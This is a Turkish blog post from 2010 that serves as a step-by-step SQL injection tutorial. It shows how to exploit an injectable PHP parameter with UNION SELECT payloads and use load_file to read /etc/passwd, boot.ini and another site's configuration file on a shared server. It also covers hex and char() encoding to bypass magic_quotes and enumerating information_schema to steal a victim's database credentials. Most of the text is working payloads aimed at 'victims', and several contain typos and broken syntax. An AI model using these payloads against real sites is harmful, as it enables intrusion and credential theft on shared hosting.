18.10.2010

Hacking Anatomi

Herhangi bir sitede SQL tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.

**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner

ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını

öğreniyoruz

ozn.php?=1order+by+6--

*yaptık sayfa hata verdi


ozn.php?id=1+order+by+7–-

*bu şekil yaptık sayfa hata vermeden açıldı

* kolon sayısını ogrendik 7

ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*

3 4

* Kolon sayısınının esit oldugunu soyluyor.

ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All

*Linux da “userler”in yetkılerıne temelli sahibiz,

*Windows icin de aynı sey gecerlidir.



* Eger Makina Windows olsaydı..

boot.ini‘yi okuyabiliriz , engel varsa hexleriz.

select ‘c:/boot.ini’

select 0×633a2f626f6f742e696e69

Domainler ” C:/Inetpub ” burada.

ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*



Blind Edebiliriz !

substring(load_file(’c:/boot.ini’),58)

” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”



Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.

Simdi konumuza geri donelım;

*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.

Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.

Calısma mantıgı ,

(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.



- UYGULAMA -

/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*

Eger engel varsa ;

> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7

// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.

Target “ozn"

/home/ozn/httpdocs:
/home/site/httpdocs:



Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;

/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*

* Burada gene hexleyecegız parantez icindekı karakterleri.

/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*



Syntax Hataları ve Çözümleri

Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …

Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;

ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7

3 4

/home/victim2/httpdocs/main.php < Go to ascıı code converted

ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7

ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7




“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.

/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*

1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.

Example :

SELECT * FROM `users` LIMIT 1, 8



/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*

Engel oldugunu varsayıyorum ,

union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8



* Yukarıda load_file ile yaptıgım atağın sonucu geldı.

// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>

Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..

Hatasız kul olmaz Hata varsa düzeltirsin :)

Hiç yorum yok:

Yorum Gönder

Yorumunuz kayıt edilmiştir en kısa sürede kontrol edilip onaylanacaktır.